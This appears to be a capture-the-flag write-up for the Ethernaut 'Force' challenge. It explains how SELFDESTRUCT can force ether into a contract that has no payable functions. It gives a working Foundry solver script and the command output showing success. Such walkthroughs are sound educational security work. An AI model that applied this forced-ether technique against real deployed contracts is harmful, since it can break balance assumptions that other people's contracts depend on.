

Force

in this challenge we are given this contract :

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Force { /*
    MEOW ?
    /\_/\
   /  o o \
  /~_____\=0= \
  (_____)__m__m)
                */ }
```

and our goal is to increase the balance of this contract, this might be weird because this contract is empty!

lets first recall how we send ether, we do that by calling `recieve` or `fallback` functions right ? this is done via the `CALL` opcode that looks into the function's code and execute it and that function logic will transfer ether

another way to send ether is via the `SELFDESTRUCT` opcode, what makes this opcode different from `CALL` is that it doesn't look at the contract code, the `evm` just executes it and it will directly change the state of the blockchain, meaning it will transfer ether from the the function that is triggering it to the target address, more precisely :

when contract `A` executes `SELFDESTRUCT(target_address)` , the target address will receive all the ether of contract `A` regardless the the `bytecode` deployed

now lets go and solve the challenge, first we check the balance of the contract that should be 0 :

```
ethernaut on ? master [!1 +2 ?34 ]> cast balance 0x90031bF7c7F341bb8d0c92bA9D9A1BE5AA56009E --rpc-url $rpc_url
0
```

perfect, now we write the solver script

```
pragma solidity ^0.8.0;

import "../src/Force.sol";
import "forge-std/Script.sol";
import "forge-std/console.sol";
```

```

contract attack {
    Force force ;
    constructor(Force _force) public payable {
        force = _force;
    }
    function pwn() external {
        selfdestruct(payable(address(force)));
    }
}

contract Solver is Script {
    Force instance =
    Force(payable(0x90031bF7c7F341bb8d0c92bA9D9A1BE5AA56009E));

    function run() external {
        vm.startBroadcast(vm.envUint("PRIVATE_KEY"));
        attack p = new attack{value : 1 wei}(instance);
        p.pwn();
        console.log(address(instance).balance);
    }
}

```

after running this we get :

```

ethernaut on 1 master [!1 +2 ?36 ]> forge script script/Force.s.sol --rpc-url $rpc_url --private-key $PRIVATE_KEY --tc Solver
[*] Compiling...
No files changed, compilation skipped
Script ran successfully.

== Logs ==
1

```

so gg the challenge is solved !